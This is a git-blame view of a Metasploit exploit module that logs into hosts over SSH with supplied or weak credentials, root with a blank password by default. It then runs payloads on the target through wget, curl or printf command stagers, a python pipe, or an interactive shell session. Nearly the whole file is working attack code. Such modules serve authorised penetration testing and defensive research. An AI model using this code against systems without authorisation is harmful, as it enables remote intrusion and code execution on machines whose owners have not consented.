Files
metasploit-gs/modules/exploits/multi/ssh/sshexec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

257 lines
6.9 KiB
Ruby
Raw Normal View History

2013-03-08 15:25:16 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-03-08 15:25:16 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
2014-02-07 18:46:19 -06:00
include Msf::Exploit::CmdStager
2016-06-28 15:23:12 -05:00
include Msf::Exploit::Remote::SSH
attr_accessor :ssh_socket
def initialize
super(
2015-08-12 15:46:47 -04:00
'Name' => 'SSH User Code Execution',
2017-11-30 20:45:11 -06:00
'Description' => %q(
This module connects to the target system and executes the necessary
commands to run the specified payload via SSH. If a native payload is
2015-08-13 14:16:09 -05:00
specified, an appropriate stager will be used.
2017-11-30 20:45:11 -06:00
),
2015-08-12 15:46:47 -04:00
'Author' => ['Spencer McIntyre', 'Brandon Knight'],
'References' =>
[
[ 'CVE', '1999-0502'] # Weak password
],
2015-08-12 15:46:47 -04:00
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
2015-08-12 15:46:47 -04:00
'PrependFork' => 'true',
'EXITFUNC' => 'process'
},
2015-08-12 15:46:47 -04:00
'Payload' =>
{
2017-11-30 14:42:14 -06:00
'Space' => 800000,
2015-08-12 15:46:47 -04:00
'BadChars' => "",
'DisableNops' => true
},
'Platform' => %w[linux osx unix python bsd],
2017-11-30 20:45:11 -06:00
'CmdStagerFlavor' => %w[bourne echo printf wget],
2015-08-12 15:46:47 -04:00
'Targets' =>
[
[
'Linux Command',
{
'Arch' => ARCH_CMD,
'Platform' => 'linux'
}
],
2017-11-30 20:45:11 -06:00
[
'Linux x86',
{
2015-08-12 15:46:47 -04:00
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
2017-11-30 20:45:11 -06:00
[
'Linux x64',
{
'Arch' => ARCH_X64,
'Platform' => 'linux'
}
],
2017-11-30 20:45:11 -06:00
[
'Linux armle',
2017-11-30 16:16:34 -06:00
{
'Arch' => ARCH_ARMLE,
'Platform' => 'linux'
}
],
2017-11-30 20:45:11 -06:00
[
'Linux mipsle',
2017-11-30 16:16:34 -06:00
{
2017-11-30 20:45:11 -06:00
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux',
'CmdStagerFlavor' => %w[curl wget]
2017-11-30 16:16:34 -06:00
}
],
2017-11-30 20:45:11 -06:00
[
'Linux mipsbe',
2017-11-30 16:16:34 -06:00
{
2017-11-30 20:45:11 -06:00
'Arch' => ARCH_MIPSBE,
'Platform' => 'linux',
'CmdStagerFlavor' => %w[wget]
2017-11-30 16:16:34 -06:00
}
],
2017-11-30 20:45:11 -06:00
[
'Linux aarch64',
2017-11-30 16:16:34 -06:00
{
'Arch' => ARCH_AARCH64,
'Platform' => 'linux'
}
],
2017-11-30 20:45:11 -06:00
[
'OSX x86',
{
2017-11-30 20:45:11 -06:00
'Arch' => ARCH_X86,
'Platform' => 'osx',
'CmdStagerFlavor' => %w[curl wget]
}
2015-08-12 15:46:47 -04:00
],
2017-11-30 20:45:11 -06:00
[
'OSX x64',
2017-11-30 14:42:14 -06:00
{
2017-11-30 20:45:11 -06:00
'Arch' => ARCH_X64,
'Platform' => 'osx',
'CmdStagerFlavor' => %w[curl wget]
2017-11-30 14:42:14 -06:00
}
],
[
'BSD x86',
{
'Arch' => ARCH_X86,
'Platform' => 'bsd',
'CmdStagerFlavor' => %w[printf curl wget]
}
],
[
'BSD x64',
{
'Arch' => ARCH_X64,
'Platform' => 'bsd',
'CmdStagerFlavor' => %w[printf curl wget]
}
],
2017-11-30 20:45:11 -06:00
[
'Python',
2015-08-12 15:46:47 -04:00
{
'Arch' => ARCH_PYTHON,
'Platform' => 'python'
}
],
[
'Unix Cmd',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
2021-10-18 16:46:40 -04:00
],
[
'Interactive SSH',
{
'DefaultOptions' => {
2021-11-05 09:43:48 -04:00
'PAYLOAD' => 'generic/ssh/interact',
'WfsDelay' => 5
2021-10-18 16:46:40 -04:00
},
'Payload' => {
'Compat' => {
'PayloadType' => 'ssh_interact',
}
}
}
]
],
2015-08-12 15:46:47 -04:00
'DefaultTarget' => 0,
# For the CVE
2018-10-27 20:54:14 -04:00
'DisclosureDate' => 'Jan 01 1999',
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
},
)
register_options(
[
OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
2017-12-05 11:55:17 -06:00
Opt::RHOST(),
Opt::RPORT(22)
]
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
]
)
end
def execute_command(cmd, opts = {})
vprint_status("Executing #{cmd}")
2018-01-17 13:21:36 -06:00
begin
Timeout.timeout(3.5) { ssh_socket.exec!(cmd) }
2018-01-17 13:21:36 -06:00
rescue Timeout::Error
print_warning('Timed out while waiting for command to return')
@timeout = true
2018-01-17 13:21:36 -06:00
end
end
def do_login(ip, user, pass, port)
2022-03-24 22:52:15 +01:00
opt_hash = ssh_client_defaults.merge({
auth_methods: ['password', 'keyboard-interactive'],
port: port,
password: pass
})
2018-01-17 13:21:36 -06:00
opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']
begin
self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
rescue Rex::ConnectionError
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unreachable, 'Disconnected during negotiation')
rescue Net::SSH::Disconnect, ::EOFError
2013-08-15 14:14:46 -05:00
fail_with(Failure::Disconnected, 'Timed out during negotiation')
rescue Net::SSH::AuthenticationFailed
2013-08-15 14:14:46 -05:00
fail_with(Failure::NoAccess, 'Failed authentication')
rescue Net::SSH::Exception => e
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
end
fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
end
def binary_exists(binary, platform: nil)
Msf::Sessions::CommandShell.binary_exists(binary, platform: platform, &method(:execute_command))
end
def execute_python
python_binary = binary_exists('python', platform: 'unix')
python_binary ||= binary_exists('python3', platform: 'unix')
python_binary ||= binary_exists('python2', platform: 'unix')
fail_with(Failure::NoTarget, 'Python was not found on the target system') if python_binary.nil?
execute_command("echo \"#{payload.encoded}\" | #{python_binary}")
end
def exploit
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
2021-10-18 16:46:40 -04:00
if target.name == 'Interactive SSH'
handler(ssh_socket)
return
end
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")
case target['Platform']
when 'python'
execute_python
when 'unix'
execute_command(payload.encoded)
2015-08-12 15:46:47 -04:00
else
if target['Arch'] == ARCH_CMD
execute_command(payload.encoded)
else
execute_cmdstager(linemax: 500)
end
2015-08-12 15:46:47 -04:00
end
@timeout ? ssh_socket.shutdown! : ssh_socket.close
end
end